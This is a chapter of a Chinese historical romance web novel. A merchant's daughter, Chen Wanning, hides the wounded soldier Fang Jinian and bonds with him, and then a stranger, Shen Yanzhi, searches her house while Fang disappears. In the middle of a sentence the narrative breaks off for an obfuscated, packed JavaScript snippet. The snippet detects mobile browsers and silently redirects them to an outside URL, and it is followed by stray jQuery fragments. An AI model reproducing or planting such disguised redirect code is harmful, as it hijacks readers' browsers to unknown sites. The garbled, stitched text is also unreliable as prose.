陈婉宁忽然想起一件事，犹豫了一下，还是问了出口。
“你家里……还有什么人？”
方寂年手里的树枝顿住了。
陈婉宁看见他的手指收紧，把那根树枝握得咯咯作响。过了好一会儿，他才开口，声音比方才低了几分：
“没有了。”
陈婉宁愣住了。
方寂年没有看她，低着头，望着地上那幅歪歪扭扭的地图，灯火照在他脸上，在那双黑沉沉的眼睛里投下阴影。
“我十四岁那年，”他说，“胡人破城。我爹死在城墙上，我娘死在屋里，我妹妹……死在我怀里。”
陈婉宁的心像是被什么东西狠狠攥住了，她张了张嘴，想说些什么，却发现自己什么都说不出来。
方寂年抬起头来看她，那目光里没有悲伤，没有痛苦，只有一种很淡很淡的东西，淡得像这梅雨里的雾气。
“所以我从军，”他声音很冷，“杀人，杀了十四年。”
他看着自己的手，那双手在灯火下骨节分明，指腹上有厚厚的茧。
“杀了很多人。”那声音像是冬天飘过来的雪，“多得数不清。”
陈婉宁看着他，忽然觉得喉咙发紧，这人真惨，可她却安慰不了。
方寂年看着她呆愣的样子笑道：“怕了？”
陈婉宁摇头，定定的看着他。
方寂年迎着她的目光，有些意外：“不怕？”
陈婉宁想了想，低声说：“不是不怕。是……”
她顿了顿，像是在想怎么措辞。
“是觉得，”她慢慢说，“你也不是自己想变成这样的。”
方寂年愣住了。
他看着眼前这个姑娘，看着她那双清凌凌的杏眼，看着她认真的神情，忽然觉得心里有什么地方软了一下。
十四年了。从死人堆里爬出来，从尸山血海里走过来，杀过的人比见过的活人还多，从来没有人和他说过这样的话。
他垂下眼睛，嘴角扯了扯，像是想笑，又像是别的什么。
“陈婉宁。”他叫她的名字。
“嗯？”
“你是个傻姑娘。”
陈婉宁愣了一下，有些不服气。
“我怎么傻了？”
方寂年没有回答，他靠回墙上，望着窗外的雨，嘴角还挂着那抹淡淡的笑。
陈婉宁看着他，忽然觉得这个人其实也没那么可怕。
至少这一刻，在昏暗的灯火下，在淅沥的雨声里，他看起来就像个普通人，一个背着太多东西、走得太累的普通人。
这一夜过后，陈婉宁和方寂年之间像是有了某种默契。
白日里她还是那个普通的商户女，洗衣做饭，伺候祖母，偶尔去街上买些针线脂粉。到了夜里，她便悄悄摸到柴房来，和方寂年说说话。
说的都是些无关紧要的事。她告诉他哪家的酱菜好吃，告诉他祖母的咳疾好些了，告诉他巷口的枇杷熟了，她爬上去摘，差点摔下来。他听着，偶尔应一声，偶尔笑一笑，偶尔问几句。
他从不说自己的事，她也从不多问。
可她还是从他零零碎碎的话里，拼凑出一些东西。
他知道很多她不知道的事。他知道京城里的规矩，知道官场上的门道，知道打仗的事，知道杀人的人心里在想什么。他知道很多很多，多得让她觉得这个人好像活了很久很久。
可她也知道，他其实没比她大多少。二十七岁，在她看来已经很老了，可在他自己看来，大概还很年轻。
这日晚间，陈婉宁照例去柴房，却见方寂年站在院子里，望着那几棵梅树发呆。
“在看什么？”
方寂年回头看了她一眼，又转回去看那几棵梅树。
“这是什么树？”
陈婉宁愣了一下，忍不住笑了。
“梅树啊。”她斜睨他，“你不认识？”
方寂年摇头。
“北境没有梅树。”他语气认真，“只有胡杨和沙枣。”
陈婉宁看着他，忽然有些心酸，她想这个人活了二十七年，竟连梅树都没见过。
她走到他身边，指着那满树的梅子说：“这个是梅子，再过几日就熟了。熟了之后可以做梅子酱，可以泡梅子酒，还可以腌成话梅，酸酸甜甜的，可好吃了。”
方寂年听着，忽然问：“你会做？”
陈婉宁点点头，笑靥如画。
“会。每年都做。祖母教我的。”
方寂年看着她的笑颜，心里微动。
“等我伤好了，”他说，“你教我。”
不是“你能教我吗？”，是“你教我！”
陈婉宁听他那么肯定，下意识问：“你不是要走吗？”
方寂年没说话，只看着她，那一瞬间他希望时间过得慢点再慢点，让他学完这梅子酱。
陈婉宁被他看得有些慌，别开眼，不敢看他。
“那个……”她低着头说，“你要是想吃，我可以做一些给你带着，路上吃。”
方寂年看着她垂下去的眼睫，看着她微微泛红的耳尖，忽然觉得心里那份微动持久了。
“好。”
陈婉宁觉得气氛有些尴尬，转身往柴房走，走了几步，忽然听见他在身后说：
“陈婉宁。”
她回头。
方寂年站在梅树下，雨丝斜斜地落在他身上，把他的衣裳打湿了几分。他没有撑伞，也没有躲，就那么站着，看着她。
“你救了我一命，”他说，“我会记得。”
陈婉宁对他笑了笑。
“记得就好，下回若是在路上遇见了，记得请我吃顿饭。”
方寂年看着她，嘴角微微勾起。
“好。”
日子就这样一天天过去。
方寂年的伤已经好了七八成，走动无碍，只是还不能用力。
陈婉宁知道，他快要走了。
她不知道自己是希望他早点走，还是希望他多留几日。她只知道，每夜去柴房的时候，她会多待一会儿；每次离开的时候，她会回头看几眼。
这日傍晚，祖母的咳疾忽然重了。
陈婉宁守在床边，喂药喂水，一直忙到半夜。等祖母睡着，她拖着疲惫的身子往后院走，想去柴房看一眼——方寂年今日还没吃饭。
可她才走到后院，就听见前门有人在砸门。
“开门！开门！”
那声音又急又重，比上次那些人更凶。
陈婉宁的心猛地提到了嗓子眼，她飞快地跑到柴房门口，推开门。
方寂年站在窗边，脸色凝重。
“有人来了。”
陈婉宁点点头，声音发颤：“怎么办？”
方寂年看着她略
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17341021|199323||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
带惊慌的神情，目光深得很，伸手在她头顶轻轻拍了拍。
“那就别怕。”他安慰她，“去开门。”
陈婉宁愣了一下，不明白他为什么这么说。
“可是……”
“听我的。”方寂年语气前所未有的柔和，“去开门。”
陈婉宁看着他，看着他沉静的眼睛，忽然就不那么慌了，她点点头，相信他，转身往前院走。
门砸得更响了，像是随时要倒下来。
陈婉宁深吸一口气，把门打开。
门外站着一群人，为首的是个穿玄色锦袍的年轻人，眉眼俊朗，通身气派不凡。他身后跟着十几个带刀的侍卫，个个膀大腰圆，目露凶光。
那年轻人看着她，上下打量了一眼。
“陈婉宁？”
陈婉宁心头一跳。
这人怎么知道她的名字？
“我是。”她说，“你是……”
那年轻人往院子里看了一眼，忽然笑了一下。
“听说，”他虽然是笑着的，但是语气带着阴冷，“你这几日收留了一个人。”
陈婉宁的心沉到了谷底。
“没有。”她逼着自己稳定心神，“我这里只有我和祖母。”
那年轻人看着她，嘴角的笑意更深了。
“是吗？”他明显不信，“那让我进去看看。”
他说着，抬脚就往里走。
陈婉宁下意识想拦，却被两个侍卫架住胳膊，动弹不得。
她眼睁睁看着那年轻人走进院子，走进正屋，走进厢房，最后走向后院。
走向那间柴房。
“不——”陈婉宁挣扎着，声音发颤。
那年轻人头也不回，推开了柴房的门。
陈婉宁闭上了眼睛，她等了很久，也没有听见任何动静。
她睁开眼，看见那年轻人从柴房里走出来，脸上带着几分疑惑。
“没人。”他眉头紧锁。
陈婉宁愣住了。
怎么可能？她方才明明看见方寂年在里面。
那年轻人走到她面前，盯着她看了片刻，脸色阴沉，嘴角含笑：“陈婉宁，你告诉我，那个人去哪儿了？”
陈婉宁摇头：“我不知道你在说什么。”
那年轻人看着她，目光彻底冷了下来：“不知道？那我问你，你认识方寂年吗？”
陈婉宁心头一紧。
她咬了咬唇，摇头。
“不认识。”
那年轻人盯着她看了很久，久到她以为他要动手。可最后他只是笑了笑，转身往外走。
走到门口，他忽然回过头来。
“陈婉宁，我叫沈砚之，记住了。”
陈婉宁愣了一下，还没反应过来，他已经带着人走了。
她靠在门板上，浑身发软，过了好一会儿才缓过劲来，她想起方寂年，飞快地往后院跑。
柴房的门开着，里面空无一人。
“方寂年？”她压低声音喊。
没有人应。
“方寂年，你走了吗？”
还是没有人应。
她站在柴房里，看着那堆空荡荡的干草，心里忽然空落落的。
他走了。
他一定是听见动静，先走了。
她应该高兴的，他走了，她就安全了，再也不用提心吊胆了。